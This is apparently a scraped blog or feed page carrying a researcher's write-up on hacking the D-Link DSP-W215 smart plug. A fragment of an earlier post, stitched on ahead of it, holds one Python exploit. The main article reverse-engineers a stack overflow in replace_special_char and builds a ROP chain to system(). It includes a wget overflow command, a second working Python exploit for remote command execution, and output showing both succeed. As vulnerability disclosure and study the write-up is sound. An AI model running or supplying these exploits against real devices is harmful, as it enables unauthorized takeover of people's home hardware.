system() call at 0x00405CEC

system() call at 0x00405CEC

Here’s some PoC code:

#!/usr/bin/env python

import sys
import urllib2

try:
    target = sys.argv[1]
    command = sys.argv[2]
except:
    print "Usage: %s <target> <command>" % sys.argv[0]
    sys.exit(1)

url = "http://%s/common/info.cgi" % target

buf  = "storage_path="      # POST parameter name
buf += "D" * (0x74944-36)   # Stack filler
buf += "\x00\x40\x5C\xEC"   # Overwrite $ra
buf += "E" * 0x28           # Command to execute must be at $sp+0x28
buf += command              # Command to execute
buf += "\x00"               # NULL terminate the command

req = urllib2.Request(url, buf)
print urllib2.urlopen(req).read()

Which works quite handily against the new firmware:

./exploit.py 192.168.0.60 'ls -l /'
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 bin
drwxrwxr-x    3 1000     1000         4096 May 17 15:42 dev
drwxrwxr-x    3 1000     1000         4096 Sep  3  2010 etc
drwxrwxr-x    3 1000     1000         4096 May 16 09:01 lib
drwxr-xr-x    3 1000     1000         4096 May 16 09:01 libexec
lrwxrwxrwx    1 1000     1000           11 May 17 15:20 linuxrc -> bin/busybox
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 lost+found
drwxrwxr-x    6 1000     1000         4096 May 17 15:15 mnt
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 mydlink
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 proc
drwxrwxr-x    2 1000     1000         4096 May 17 17:23 root
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 sbin
drwxrwxr-x    3 1000     1000         4096 May 20 17:10 tmp
drwxrwxr-x    7 1000     1000         4096 May 16 09:01 usr
drwxrwxr-x    3 1000     1000         4096 May 17 15:21 var
-rw-r--r--    1 1000     1000           17 May 16 09:01 version
drwxrwxr-x    8 1000     1000         4096 May 17 15:15 www

Hacking the DSP-W215, Again, Again

$
0
0

Here we go again…again.

In the last DSP-W215 exploit, I mentioned that the exploit’s POST parameter name had to be “storage_path” in order to prevent the get_input_entries function from crashing prematurely. That’s because there is another stack overflow, this time in the replace_special_char function, which is called by get_input_entries if the POST parameter name is neither “storage_path” nor “path”:

Checking the POST parameter name against "storage_path" and "path"

Checking the POST parameter name against “storage_path” and “path”

The replace_special_char function is passed a single argument which is a pointer to the current POST value being processed:

replace_special_char(entries[i]->value);

replace_special_char(entries[i]->value);

The replace_special_char function is responsible for URL decoding a small set of common ASCII characters:

List of ASCII characters to be URL decoded, if necessary

List of ASCII characters to be URL decoded, if necessary

To do so, it first takes the string length of the POST value that was passed to it by get_input_entries:

post_value_length = strlen(post_data);

post_value_length = strlen(post_data);

And loops through post_value_length bytes:

Loop while i < post_value_length

Loop while i < post_value_length

On each loop iteration, it stores one byte (either the URL decoded byte, or if URL decoding was not necessary, the original byte from the POST value data) into the local stack variable decode_buf:

decode_buf[j] = post_data[i];

decode_buf[j] = post_data[i];

Essentially, it’s doing this:

void replace_special_char(char *post_data)
{
    char decode_buf[0x258];
    int post_value_length, i = 0, j = 0;

    memset(decode_buf, 0, sizeof(decode_buf));

    post_value_length = strlen(post_data);

    while(i < post_value_length)
    {
        /* 
         * ...
         * If post_data[i] == '%', then it's URL encoded; try to decode it here
         * (as long as the POST data isn't URL encoded, this code does nothing,
         * so it's not shown).
         * ...
         */

        // No bounds checking on index j!
        decode_buf[j] = post_data[i];
        j++;
        i++;
    }

    ...

    return;
}

Examining the stack layout of replace_special_char, a POST parameter with a value of 612 bytes will overflow everything up to the first saved register ($s0) on the stack, and another 36 bytes gets us to the saved $ra:

Stack layout of replace_special_char

Stack layout of replace_special_char

# Overflow $ra with 0x42424242
wget --post-data="foo=$(perl -e 'print "A"x648; print "B"x4')" http://192.168.0.60/common/info.cgi
$ra = 0x42424242

$ra = 0×42424242

Since the decoding loop uses strlen to determine how many bytes to copy into decode_buf, our only restriction is that our POST data can’t contain NULL bytes. This means that the return address used in previous exploits won’t work, since it contains a NULL byte, but we can ROP into libc to acheive the same effect.

At offset 0xBA50 inside libc there is a gadget that points the $a1 register to the stack (specifically, $sp+0xB8) and then jumps to whatever address is contained in the $s1 register:

First ROP gadget

First ROP gadget

If during the stack overflow we overwrite $s1 with the address of offset 0×34640, execution will jump to the next gadget, which moves $a1 into $a0 (the first function argument register), then calls whatever function address is in $s0:

Second ROP gadget

Second ROP gadget

As long as we ensure that $s0 points to the system() function (at offset 0x4BC80 in libc), we’ll effectively call system with a pointer to the stack:

system($sp+0xB8);

After adding libc’s base address (0x2AB61000) to these offests, we can write some PoC code to test the vulnerability:

#!/usr/bin/env python
# Exploits overflow in replace_special_char.

import sys
import urllib2

try:
    target = sys.argv[1]
    command = sys.argv[2]
except:
    print "Usage: %s <target> <command>" % sys.argv[0]
    sys.exit(1)

url = "http://%s/common/info.cgi" % target

buf =  "foo="               # POST parameter name can be anything
buf += "E" * 612            # Stack filler
buf += "\x2A\xBA\xCC\x80"   # $s0, address of system()
buf += "\x2A\xB9\x56\x40"   # $s1, address of ROP2
buf += "F" * 4              # $s2, don't care 
buf += "F" * 4              # $s3, don't care
buf += "F" * 4              # $s4, don't care 
buf += "F" * 4              # $s5, don't care
buf += "F" * 4              # $s6, don't care 
buf += "F" * 4              # $s7, don't care 
buf += "F" * 4              # $fp, don't care 
buf += "\x2A\xB6\xCA\x50"   # $ra, address of ROP1
buf += "G" * 0xB8           # Stack filler
buf += command              # Command to execute

req = urllib2.Request(url, buf)
print urllib2.urlopen(req).read()

And, as before, we can execute any command, and get the output as well:

$ ./exploit2.py 192.168.0.60 'ls -l /'
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 bin
drwxrwxr-x    3 1000     1000         4096 May 22 18:03 dev
drwxrwxr-x    3 1000     1000         4096 Sep  3  2010 etc
drwxrwxr-x    3 1000     1000         4096 May 16 09:01 lib
drwxr-xr-x    3 1000     1000         4096 May 16 09:01 libexec
lrwxrwxrwx    1 1000     1000           11 May 17 15:20 linuxrc -> bin/busybox
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 lost+found
drwxrwxr-x    6 1000     1000         4096 May 17 15:15 mnt
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 mydlink
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 proc
drwxrwxr-x    2 1000     1000         4096 May 17 17:23 root
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 sbin
drwxrwxrwx    3 1000     1000         4096 May 22 19:18 tmp
drwxrwxr-x    7 1000     1000         4096 May 16 09:01 usr
drwxrwxr-x    3 1000     1000         4096 May 17 15:21 var
-rw-r--r--    1 1000     1000           17 May 16 09:01 version
drwxrwxr-x    6 1000     1000         4096 May 22 17:15 www
Viewing all 35 articles
Browse latest View live